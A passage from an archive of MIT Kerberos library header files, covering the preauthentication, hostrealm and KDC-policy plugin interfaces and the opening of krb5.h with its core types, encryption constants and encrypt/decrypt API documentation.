krb5_clpreauth_callbacks cb, krb5_clpreauth_rock rock, krb5_kdc_req *request, krb5_data *encoded_request_body, krb5_data *encoded_previous_request, krb5_pa_data *pa_data, krb5_prompter_fct prompter, void *prompter_data, krb5_pa_data ***pa_data_out); /* * Optional: Attempt to use error and error_padata to try to recover from the * given error. To work with both FAST and non-FAST errors, an implementation * should generally consult error_padata rather than decoding error->e_data. * For non-FAST errors, it contains the e_data decoded as either pa-data or * typed-data. * * If this function is provided, and it returns 0 and stores data in * pa_data_out, then the client library will retransmit the request. */ typedef krb5_error_code (*krb5_clpreauth_tryagain_fn)(krb5_context context, krb5_clpreauth_moddata moddata, krb5_clpreauth_modreq modreq, krb5_get_init_creds_opt *opt, krb5_clpreauth_callbacks cb, krb5_clpreauth_rock rock, krb5_kdc_req *request, krb5_data *encoded_request_body, krb5_data *encoded_previous_request, krb5_preauthtype pa_type, krb5_error *error, krb5_pa_data **error_padata, krb5_prompter_fct prompter, void *prompter_data, krb5_pa_data ***pa_data_out); /* * Optional: receive krb5_get_init_creds_opt information. The attr and value * information supplied should be copied into moddata by the module if it * wishes to reference it after returning from this call. */ typedef krb5_error_code (*krb5_clpreauth_supply_gic_opts_fn)(krb5_context context, krb5_clpreauth_moddata moddata, krb5_get_init_creds_opt *opt, const char *attr, const char *value); typedef struct krb5_clpreauth_vtable_st { /* Mandatory: name of module. */ char *name; /* Mandatory: pointer to zero-terminated list of pa_types which this module * can provide services for. */ krb5_preauthtype *pa_type_list; /* Optional: pointer to zero-terminated list of enc_types which this module * claims to add support for. */ krb5_enctype *enctype_list; krb5_clpreauth_init_fn init; krb5_clpreauth_fini_fn fini; krb5_clpreauth_get_flags_fn flags; krb5_clpreauth_request_init_fn request_init; krb5_clpreauth_request_fini_fn request_fini; krb5_clpreauth_process_fn process; krb5_clpreauth_tryagain_fn tryagain; krb5_clpreauth_supply_gic_opts_fn gic_opts; /* Minor version 1 ends here. */ krb5_clpreauth_prep_questions_fn prep_questions; /* Minor version 2 ends here. */ } *krb5_clpreauth_vtable; /* * This function allows a clpreauth plugin to obtain preauth options. The * preauth_data returned from this function should be freed by calling * krb5_get_init_creds_opt_free_pa(). */ krb5_error_code KRB5_CALLCONV krb5_get_init_creds_opt_get_pa(krb5_context context, krb5_get_init_creds_opt *opt, int *num_preauth_data, krb5_gic_opt_pa_data **preauth_data); /* * This function frees the preauth_data that was returned by * krb5_get_init_creds_opt_get_pa(). */ void KRB5_CALLCONV krb5_get_init_creds_opt_free_pa(krb5_context context, int num_preauth_data, krb5_gic_opt_pa_data *preauth_data); #endif /* KRB5_CLPREAUTH_PLUGIN_H */ krb5/hostrealm_plugin.h 0000644 00000012524 15246445047 0011153 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (C) 2013 by the Massachusetts Institute of Technology. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Declarations for hostrealm plugin module implementors. * * The hostrealm pluggable interface currently has only one supported major * version, which is 1. Major version 1 has a current minor version number of * 1. * * Hostrealm plugin modules should define a function named * hostrealm_<modulename>_initvt, matching the signature: * * krb5_error_code * hostrealm_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for maj_ver: * maj_ver == 1: Cast to krb5_hostrealm_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_HOSTREALM_PLUGIN_H #define KRB5_HOSTREALM_PLUGIN_H #include <krb5/krb5.h> #include <krb5/plugin.h> /* An abstract type for hostrealm module data. */ typedef struct krb5_hostrealm_moddata_st *krb5_hostrealm_moddata; /*** Method type declarations ***/ /* Optional: Initialize module data. */ typedef krb5_error_code (*krb5_hostrealm_init_fn)(krb5_context context, krb5_hostrealm_moddata *data); /* * Optional: Determine the possible realms of a hostname, using only secure, * authoritative mechanisms (ones which should be used prior to trying * referrals when getting a service ticket). Return success with a * null-terminated list of realms in *realms_out, KRB5_PLUGIN_NO_HANDLE to * defer to later modules, or another error to terminate processing. */ typedef krb5_error_code (*krb5_hostrealm_host_realm_fn)(krb5_context context, krb5_hostrealm_moddata data, const char *host, char ***realms_out); /* * Optional: Determine the possible realms of a hostname, using heuristic or * less secure mechanisms (ones which should be used after trying referrals * when getting a service ticket). Return success with a null-terminated list * of realms in *realms_out, KRB5_PLUGIN_NO_HANDLE to defer to later modules, * or another error to terminate processing. */ typedef krb5_error_code (*krb5_hostrealm_fallback_realm_fn)(krb5_context context, krb5_hostrealm_moddata data, const char *host, char ***realms_out); /* * Optional: Determine the possible default realms of the local host. Return * success with a null-terminated list of realms in *realms_out, * KRB5_PLUGIN_NO_HANDLE to defer to later modules, or another error to * terminate processing. */ typedef krb5_error_code (*krb5_hostrealm_default_realm_fn)(krb5_context context, krb5_hostrealm_moddata data, char ***realms_out); /* * Mandatory (if any of the query methods are implemented): Release the memory * returned by one of the interface methods. */ typedef void (*krb5_hostrealm_free_list_fn)(krb5_context context, krb5_hostrealm_moddata data, char **list); /* Optional: Release resources used by module data. */ typedef void (*krb5_hostrealm_fini_fn)(krb5_context context, krb5_hostrealm_moddata data); /* hostrealm vtable for major version 1. */ typedef struct krb5_hostrealm_vtable_st { const char *name; /* Mandatory: name of module. */ krb5_hostrealm_init_fn init; krb5_hostrealm_fini_fn fini; krb5_hostrealm_host_realm_fn host_realm; krb5_hostrealm_fallback_realm_fn fallback_realm; krb5_hostrealm_default_realm_fn default_realm; krb5_hostrealm_free_list_fn free_list; /* Minor version 1 ends here. */ } *krb5_hostrealm_vtable; #endif /* KRB5_HOSTREALM_PLUGIN_H */ krb5/kdcpolicy_plugin.h 0000644 00000012310 15246445047 0011127 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* include/krb5/kdcpolicy_plugin.h - KDC policy plugin interface */ /* * Copyright (C) 2017 by Red Hat, Inc. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Declarations for kdcpolicy plugin module implementors. * * The kdcpolicy pluggable interface currently has only one supported major * version, which is 1. Major version 1 has a current minor version number of * 1. * * kdcpolicy plugin modules should define a function named * kdcpolicy_<modulename>_initvt, matching the signature: * * krb5_error_code * kdcpolicy_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for maj_ver: * maj_ver == 1: Cast to krb5_kdcpolicy_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_POLICY_PLUGIN_H #define KRB5_POLICY_PLUGIN_H #include <krb5/krb5.h> /* Abstract module datatype. */ typedef struct krb5_kdcpolicy_moddata_st *krb5_kdcpolicy_moddata; /* A module can optionally include kdb.h to inspect principal entries when * authorizing requests. */ struct _krb5_db_entry_new; /* * Optional: Initialize module data. Return 0 on success, * KRB5_PLUGIN_NO_HANDLE if the module is inoperable (due to configuration, for * example), and any other error code to abort KDC startup. Optionally set * *data_out to a module data object to be passed to future calls. */ typedef krb5_error_code (*krb5_kdcpolicy_init_fn)(krb5_context context, krb5_kdcpolicy_moddata *data_out); /* Optional: Clean up module data. */ typedef krb5_error_code (*krb5_kdcpolicy_fini_fn)(krb5_context context, krb5_kdcpolicy_moddata moddata); /* * Optional: return an error code and set status to an appropriate string * literal to deny an AS request; otherwise return 0. lifetime_out, if set, * restricts the ticket lifetime. renew_lifetime_out, if set, restricts the * ticket renewable lifetime. */ typedef krb5_error_code (*krb5_kdcpolicy_check_as_fn)(krb5_context context, krb5_kdcpolicy_moddata moddata, const krb5_kdc_req *request, const struct _krb5_db_entry_new *client, const struct _krb5_db_entry_new *server, const char *const *auth_indicators, const char **status, krb5_deltat *lifetime_out, krb5_deltat *renew_lifetime_out); /* * Optional: return an error code and set status to an appropriate string * literal to deny a TGS request; otherwise return 0. lifetime_out, if set, * restricts the ticket lifetime. renew_lifetime_out, if set, restricts the * ticket renewable lifetime. */ typedef krb5_error_code (*krb5_kdcpolicy_check_tgs_fn)(krb5_context context, krb5_kdcpolicy_moddata moddata, const krb5_kdc_req *request, const struct _krb5_db_entry_new *server, const krb5_ticket *ticket, const char *const *auth_indicators, const char **status, krb5_deltat *lifetime_out, krb5_deltat *renew_lifetime_out); typedef struct krb5_kdcpolicy_vtable_st { const char *name; krb5_kdcpolicy_init_fn init; krb5_kdcpolicy_fini_fn fini; krb5_kdcpolicy_check_as_fn check_as; krb5_kdcpolicy_check_tgs_fn check_tgs; } *krb5_kdcpolicy_vtable; #endif /* KRB5_POLICY_PLUGIN_H */ krb5/krb5.h 0000644 00001256744 15246445047 0006461 0 ustar 00 /* This file is generated, please don't edit it directly. */ #ifndef KRB5_KRB5_H_INCLUDED #define KRB5_KRB5_H_INCLUDED /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* General definitions for Kerberos version 5. */ /* * Copyright 1989, 1990, 1995, 2001, 2003, 2007, 2011 by the Massachusetts * Institute of Technology. All Rights Reserved. * * Export of this software from the United States of America may * require a specific license from the United States Government. * It is the responsibility of any person or organization contemplating * export to obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of M.I.T. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. Furthermore if you modify this software you must label * your software as modified software and not distribute it in such a * fashion that it might be confused with the original M.I.T. software. * M.I.T. makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. */ /* * Copyright (C) 1998 by the FundsXpress, INC. * * All rights reserved. * * Export of this software from the United States of America may require * a specific license from the United States Government. It is the * responsibility of any person or organization contemplating export to * obtain such a license before exporting. * * WITHIN THAT CONSTRAINT, permission to use, copy, modify, and * distribute this software and its documentation for any purpose and * without fee is hereby granted, provided that the above copyright * notice appear in all copies and that both that copyright notice and * this permission notice appear in supporting documentation, and that * the name of FundsXpress. not be used in advertising or publicity pertaining * to distribution of the software without specific, written prior * permission. FundsXpress makes no representations about the suitability of * this software for any purpose. It is provided "as is" without express * or implied warranty. * * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ #ifndef KRB5_GENERAL__ #define KRB5_GENERAL__ /** @defgroup KRB5_H krb5 library API * @{ */ /* By default, do not expose deprecated interfaces. */ #ifndef KRB5_DEPRECATED #define KRB5_DEPRECATED 0 #endif #if defined(__MACH__) && defined(__APPLE__) # include <TargetConditionals.h> # if TARGET_RT_MAC_CFM # error "Use KfM 4.0 SDK headers for CFM compilation." # endif #endif #if defined(_MSDOS) || defined(_WIN32) #include <win-mac.h> #endif #ifndef KRB5_CONFIG__ #ifndef KRB5_CALLCONV #define KRB5_CALLCONV #define KRB5_CALLCONV_C #endif /* !KRB5_CALLCONV */ #endif /* !KRB5_CONFIG__ */ #ifndef KRB5_CALLCONV_WRONG #define KRB5_CALLCONV_WRONG #endif #ifndef THREEPARAMOPEN #define THREEPARAMOPEN(x,y,z) open(x,y,z) #endif #if KRB5_PRIVATE #ifndef WRITABLEFOPEN #define WRITABLEFOPEN(x,y) fopen(x,y) #endif #endif #define KRB5_OLD_CRYPTO #include <stdlib.h> #include <limits.h> /* for *_MAX */ #include <stdarg.h> #include <stdint.h> #ifndef KRB5INT_BEGIN_DECLS #if defined(__cplusplus) #define KRB5INT_BEGIN_DECLS extern "C" { #define KRB5INT_END_DECLS } #else #define KRB5INT_BEGIN_DECLS #define KRB5INT_END_DECLS #endif #endif KRB5INT_BEGIN_DECLS #if defined(TARGET_OS_MAC) && TARGET_OS_MAC # pragma pack(push,2) #endif #if (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) >= 30203 # define KRB5_ATTR_DEPRECATED __attribute__((deprecated)) #elif defined _WIN32 # define KRB5_ATTR_DEPRECATED __declspec(deprecated) #else # define KRB5_ATTR_DEPRECATED #endif /* from profile.h */ struct _profile_t; /* typedef struct _profile_t *profile_t; */ /* * begin wordsize.h */ /* * Word-size related definition. */ typedef uint8_t krb5_octet; typedef int16_t krb5_int16; typedef uint16_t krb5_ui_2; typedef int32_t krb5_int32; typedef uint32_t krb5_ui_4; #define VALID_INT_BITS INT_MAX #define VALID_UINT_BITS UINT_MAX #define KRB5_INT32_MAX 2147483647 /* this strange form is necessary since - is a unary operator, not a sign indicator */ #define KRB5_INT32_MIN (-KRB5_INT32_MAX-1) #define KRB5_INT16_MAX 65535 /* this strange form is necessary since - is a unary operator, not a sign indicator */ #define KRB5_INT16_MIN (-KRB5_INT16_MAX-1) /* * end wordsize.h */ /* * begin "base-defs.h" */ /* * Basic definitions for Kerberos V5 library */ #ifndef FALSE #define FALSE 0 #endif #ifndef TRUE #define TRUE 1 #endif typedef unsigned int krb5_boolean; typedef unsigned int krb5_msgtype; typedef unsigned int krb5_kvno; typedef krb5_int32 krb5_addrtype; typedef krb5_int32 krb5_enctype; typedef krb5_int32 krb5_cksumtype; typedef krb5_int32 krb5_authdatatype; typedef krb5_int32 krb5_keyusage; typedef krb5_int32 krb5_cryptotype; typedef krb5_int32 krb5_preauthtype; /* This may change, later on */ typedef krb5_int32 krb5_flags; /** * Represents a timestamp in seconds since the POSIX epoch. This legacy type * is used frequently in the ABI, but cannot represent timestamps after 2038 as * a positive number. Code which uses this type should cast values of it to * uint32_t so that negative values are treated as timestamps between 2038 and * 2106 on platforms with 64-bit time_t. */ typedef krb5_int32 krb5_timestamp; typedef krb5_int32 krb5_deltat; /** * Used to convey an operation status. The value 0 indicates success; any * other values are com_err codes. Use krb5_get_error_message() to obtain a * string describing the error. */ typedef krb5_int32 krb5_error_code; typedef krb5_error_code krb5_magic; typedef struct _krb5_data { krb5_magic magic; unsigned int length; char *data; } krb5_data; /* Originally introduced for PKINIT; now unused. Do not use this. */ typedef struct _krb5_octet_data { krb5_magic magic; unsigned int length; krb5_octet *data; } krb5_octet_data; /* Originally used to recognize AFS and default salts. No longer used. */ #define SALT_TYPE_AFS_LENGTH UINT_MAX #define SALT_TYPE_NO_LENGTH UINT_MAX typedef void * krb5_pointer; typedef void const * krb5_const_pointer; typedef struct krb5_principal_data { krb5_magic magic; krb5_data realm; krb5_data *data; /**< An array of strings */ krb5_int32 length; krb5_int32 type; } krb5_principal_data; typedef krb5_principal_data * krb5_principal; /* * Per V5 spec on definition of principal types */ #define KRB5_NT_UNKNOWN 0 /**< Name type not known */ #define KRB5_NT_PRINCIPAL 1 /**< Just the name of the principal as in DCE, or for users */ #define KRB5_NT_SRV_INST 2 /**< Service and other unique instance (krbtgt) */ #define KRB5_NT_SRV_HST 3 /**< Service with host name as instance (telnet, rcommands) */ #define KRB5_NT_SRV_XHST 4 /**< Service with host as remaining components */ #define KRB5_NT_UID 5 /**< Unique ID */ #define KRB5_NT_X500_PRINCIPAL 6 /**< PKINIT */ #define KRB5_NT_SMTP_NAME 7 /**< Name in form of SMTP email name */ #define KRB5_NT_ENTERPRISE_PRINCIPAL 10 /**< Windows 2000 UPN */ #define KRB5_NT_WELLKNOWN 11 /**< Well-known (special) principal */ #define KRB5_WELLKNOWN_NAMESTR "WELLKNOWN" /**< First component of NT_WELLKNOWN principals */ #define KRB5_NT_MS_PRINCIPAL -128 /**< Windows 2000 UPN and SID */ #define KRB5_NT_MS_PRINCIPAL_AND_ID -129 /**< NT 4 style name */ #define KRB5_NT_ENT_PRINCIPAL_AND_ID -130 /**< NT 4 style name and SID */ /** Constant version of krb5_principal_data */ typedef const krb5_principal_data *krb5_const_principal; #define krb5_princ_realm(context, princ) (&(princ)->realm) #define krb5_princ_set_realm(context, princ,value) ((princ)->realm = *(value)) #define krb5_princ_set_realm_length(context, princ,value) (princ)->realm.length = (value) #define krb5_princ_set_realm_data(context, princ,value) (princ)->realm.data = (value) #define krb5_princ_size(context, princ) (princ)->length #define krb5_princ_type(context, princ) (princ)->type #define krb5_princ_name(context, princ) (princ)->data #define krb5_princ_component(context, princ,i) \ (((i) < krb5_princ_size(context, princ)) \ ? (princ)->data + (i) \ : NULL) /** Constant for realm referrals. */ #define KRB5_REFERRAL_REALM "" /* * Referral-specific functions. */ /** * Check for a match with KRB5_REFERRAL_REALM. * * @param [in] r Realm to check * * @return @c TRUE if @a r is zero-length, @c FALSE otherwise */ krb5_boolean KRB5_CALLCONV krb5_is_referral_realm(const krb5_data *r); /** * Return an anonymous realm data. * * This function returns constant storage that must not be freed. * * @sa #KRB5_ANONYMOUS_REALMSTR */ const krb5_data *KRB5_CALLCONV krb5_anonymous_realm(void); /** * Build an anonymous principal. * * This function returns constant storage that must not be freed. * * @sa #KRB5_ANONYMOUS_PRINCSTR */ krb5_const_principal KRB5_CALLCONV krb5_anonymous_principal(void); #define KRB5_ANONYMOUS_REALMSTR "WELLKNOWN:ANONYMOUS" /**< Anonymous realm */ #define KRB5_ANONYMOUS_PRINCSTR "ANONYMOUS" /**< Anonymous principal name */ /* * end "base-defs.h" */ /* * begin "hostaddr.h" */ /** Structure for address */ typedef struct _krb5_address { krb5_magic magic; krb5_addrtype addrtype; unsigned int length; krb5_octet *contents; } krb5_address; /* per Kerberos v5 protocol spec */ #define ADDRTYPE_INET 0x0002 #define ADDRTYPE_CHAOS 0x0005 #define ADDRTYPE_XNS 0x0006 #define ADDRTYPE_ISO 0x0007 #define ADDRTYPE_DDP 0x0010 #define ADDRTYPE_NETBIOS 0x0014 #define ADDRTYPE_INET6 0x0018 /* not yet in the spec... */ #define ADDRTYPE_ADDRPORT 0x0100 #define ADDRTYPE_IPPORT 0x0101 /* macros to determine if a type is a local type */ #define ADDRTYPE_IS_LOCAL(addrtype) (addrtype & 0x8000) /* * end "hostaddr.h" */ struct _krb5_context; typedef struct _krb5_context * krb5_context; struct _krb5_auth_context; typedef struct _krb5_auth_context * krb5_auth_context; struct _krb5_cryptosystem_entry; /* * begin "encryption.h" */ /** Exposed contents of a key. */ typedef struct _krb5_keyblock { krb5_magic magic; krb5_enctype enctype; unsigned int length; krb5_octet *contents; } krb5_keyblock; struct krb5_key_st; /** * Opaque identifier for a key. * * Use with the krb5_k APIs for better performance for repeated operations with * the same key and usage. Key identifiers must not be used simultaneously * within multiple threads, as they may contain mutable internal state and are * not mutex-protected. */ typedef struct krb5_key_st *krb5_key; #ifdef KRB5_OLD_CRYPTO typedef struct _krb5_encrypt_block { krb5_magic magic; krb5_enctype crypto_entry; /* to call krb5_encrypt_size, you need this. it was a pointer, but it doesn't have to be. gross. */ krb5_keyblock *key; } krb5_encrypt_block; #endif typedef struct _krb5_checksum { krb5_magic magic; krb5_cksumtype checksum_type; /* checksum type */ unsigned int length; krb5_octet *contents; } krb5_checksum; typedef struct _krb5_enc_data { krb5_magic magic; krb5_enctype enctype; krb5_kvno kvno; krb5_data ciphertext; } krb5_enc_data; /** * Structure to describe a region of text to be encrypted or decrypted. * * The @a flags member describes the type of the iov. * The @a data member points to the memory that will be manipulated. * All iov APIs take a pointer to the first element of an array of krb5_crypto_iov's * along with the size of that array. Buffer contents are manipulated in-place; * data is overwritten. Callers must allocate the right number of krb5_crypto_iov * structures before calling into an iov API. */ typedef struct _krb5_crypto_iov { krb5_cryptotype flags; /**< @ref KRB5_CRYPTO_TYPE type of the iov */ krb5_data data; } krb5_crypto_iov; /* per Kerberos v5 protocol spec */ #define ENCTYPE_NULL 0x0000 #define ENCTYPE_DES_CBC_CRC 0x0001 /**< @deprecated no longer supported */ #define ENCTYPE_DES_CBC_MD4 0x0002 /**< @deprecated no longer supported */ #define ENCTYPE_DES_CBC_MD5 0x0003 /**< @deprecated no longer supported */ #define ENCTYPE_DES_CBC_RAW 0x0004 /**< @deprecated no longer supported */ #define ENCTYPE_DES3_CBC_SHA 0x0005 /**< @deprecated no longer supported */ #define ENCTYPE_DES3_CBC_RAW 0x0006 /**< @deprecated no longer supported */ #define ENCTYPE_DES_HMAC_SHA1 0x0008 /**< @deprecated no longer supported */ /* PKINIT */ #define ENCTYPE_DSA_SHA1_CMS 0x0009 /**< DSA with SHA1, CMS signature */ #define ENCTYPE_MD5_RSA_CMS 0x000a /**< MD5 with RSA, CMS signature */ #define ENCTYPE_SHA1_RSA_CMS 0x000b /**< SHA1 with RSA, CMS signature */ #define ENCTYPE_RC2_CBC_ENV 0x000c /**< RC2 cbc mode, CMS enveloped data */ #define ENCTYPE_RSA_ENV 0x000d /**< RSA encryption, CMS enveloped data */ #define ENCTYPE_RSA_ES_OAEP_ENV 0x000e /**< RSA w/OEAP encryption, CMS enveloped data */ #define ENCTYPE_DES3_CBC_ENV 0x000f /**< @deprecated no longer supported */ #define ENCTYPE_DES3_CBC_SHA1 0x0010 /**< @deprecated removed */ #define ENCTYPE_AES128_CTS_HMAC_SHA1_96 0x0011 /**< RFC 3962 */ #define ENCTYPE_AES256_CTS_HMAC_SHA1_96 0x0012 /**< RFC 3962 */ #define ENCTYPE_AES128_CTS_HMAC_SHA256_128 0x0013 /**< RFC 8009 */ #define ENCTYPE_AES256_CTS_HMAC_SHA384_192 0x0014 /**< RFC 8009 */ #define ENCTYPE_ARCFOUR_HMAC 0x0017 /**< RFC 4757 */ #define ENCTYPE_ARCFOUR_HMAC_EXP 0x0018 /**< RFC 4757 */ #define ENCTYPE_CAMELLIA128_CTS_CMAC 0x0019 /**< RFC 6803 */ #define ENCTYPE_CAMELLIA256_CTS_CMAC 0x001a /**< RFC 6803 */ #define ENCTYPE_UNKNOWN 0x01ff /* * Historically we used the value 9 for unkeyed SHA-1. RFC 3961 assigns this * value to rsa-md5-des3, which fortunately is unused. For ABI compatibility * we allow either 9 or 14 for SHA-1. */ #define CKSUMTYPE_CRC32 0x0001 #define CKSUMTYPE_RSA_MD4 0x0002 #define CKSUMTYPE_RSA_MD4_DES 0x0003 #define CKSUMTYPE_DESCBC 0x0004 /* des-mac-k */ /* rsa-md4-des-k */ #define CKSUMTYPE_RSA_MD5 0x0007 #define CKSUMTYPE_RSA_MD5_DES 0x0008 #define CKSUMTYPE_NIST_SHA 0x0009 #define CKSUMTYPE_HMAC_SHA1_DES3 0x000c /* @deprecated removed */ #define CKSUMTYPE_SHA1 0x000d /**< RFC 3962 */ #define CKSUMTYPE_HMAC_SHA1_96_AES128 0x000f /**< RFC 3962. Used with ENCTYPE_AES128_CTS_HMAC_SHA1_96 */ #define CKSUMTYPE_HMAC_SHA1_96_AES256 0x0010 /**< RFC 3962. Used with ENCTYPE_AES256_CTS_HMAC_SHA1_96 */ #define CKSUMTYPE_HMAC_SHA256_128_AES128 0x0013 /**< RFC 8009 */ #define CKSUMTYPE_HMAC_SHA384_192_AES256 0x0014 /**< RFC 8009 */ #define CKSUMTYPE_CMAC_CAMELLIA128 0x0011 /**< RFC 6803 */ #define CKSUMTYPE_CMAC_CAMELLIA256 0x0012 /**< RFC 6803 */ #define CKSUMTYPE_MD5_HMAC_ARCFOUR -137 /* Microsoft netlogon */ #define CKSUMTYPE_HMAC_MD5_ARCFOUR -138 /**< RFC 4757 */ /* * The following are entropy source designations. Whenever * krb5_C_random_add_entropy is called, one of these source ids is passed in. * This allows the library to better estimate bits of entropy in the sample and * to keep track of what sources of entropy have contributed enough entropy. * Sources marked internal MUST NOT be used by applications outside the * Kerberos library */ enum { KRB5_C_RANDSOURCE_OLDAPI = 0, /*calls to krb5_C_RANDOM_SEED (INTERNAL)*/ KRB5_C_RANDSOURCE_OSRAND = 1, /* /dev/random or equivalent (internal)*/ KRB5_C_RANDSOURCE_TRUSTEDPARTY = 2, /* From KDC or other trusted party*/ /* * This source should be used carefully; data in this category * should be from a third party trusted to give random bits * For example keys issued by the KDC in the application server. */ KRB5_C_RANDSOURCE_TIMING = 3, /* Timing of operations*/ KRB5_C_RANDSOURCE_EXTERNAL_PROTOCOL = 4, /*Protocol data possibly from attacker*/ KRB5_C_RANDSOURCE_MAX = 5 /*Do not use; maximum source ID*/ }; #ifndef krb5_roundup /* round x up to nearest multiple of y */ #define krb5_roundup(x, y) ((((x) + (y) - 1)/(y))*(y)) #endif /* roundup */ /* macro function definitions to help clean up code */ #if 1 #define krb5_x(ptr,args) ((ptr)?((*(ptr)) args):(abort(),1)) #define krb5_xc(ptr,args) ((ptr)?((*(ptr)) args):(abort(),(char*)0)) #else #define krb5_x(ptr,args) ((*(ptr)) args) #define krb5_xc(ptr,args) ((*(ptr)) args) #endif /** * Encrypt data using a key (operates on keyblock). * * @param [in] context Library context * @param [in] key Encryption key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in,out] cipher_state Cipher state; specify NULL if not needed * @param [in] input Data to be encrypted * @param [out] output Encrypted data * * This function encrypts the data block @a input and stores the output into @a * output. The actual encryption key will be derived from @a key and @a usage * if key derivation is specified for the encryption type. If non-null, @a * cipher_state specifies the beginning state for the encryption operation, and * is updated with the state to be passed as input to the next operation. * * @note The caller must initialize @a output and allocate at least enough * space for the result (using krb5_c_encrypt_length() to determine the amount * of space needed). @a output->length will be set to the actual length of the * ciphertext. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_encrypt(krb5_context context, const krb5_keyblock *key, krb5_keyusage usage, const krb5_data *cipher_state, const krb5_data *input, krb5_enc_data *output); /** * Decrypt data using a key (operates on keyblock). * * @param [in] context Library context * @param [in] key Encryption key * @param [in] usage Key usage (see @ref KRB5_KEYUSAGE types) * @param [in,out] cipher_state Cipher state; specify NULL if not needed * @param [in] input Encrypted data * @param [out] output Decrypted data * * This function decrypts the data block @a input and stores the output into @a * output. The actual decryption key will be derived from @a key and @a usage * if key derivation is specified for the encryption type. If non-null, @a * cipher_state specifies the beginning state for the decryption operation, and * is updated with the state to be passed as input to the next operation. * * @note The caller must initialize @a output and allocate at least enough * space for the result. The usual practice is to allocate an output buffer as * long as the ciphertext, and let krb5_c_decrypt() trim @a output->length. * For some enctypes, the resulting @a output->length may include padding * bytes. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_decrypt(krb5_context context, const krb5_keyblock *key, krb5_keyusage usage, const krb5_data *cipher_state, const krb5_enc_data *input, krb5_data *output); /** * Compute encrypted data length. * * @param [in] context Library context * @param [in] enctype Encryption type * @param [in] inputlen Length of the data to be encrypted * @param [out] length Length of the encrypted data * * This function computes the length of the ciphertext produced by encrypting * @a inputlen bytes including padding, confounder, and checksum. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_c_encrypt_length(krb5_context context, krb5_enctype enctype, size_t 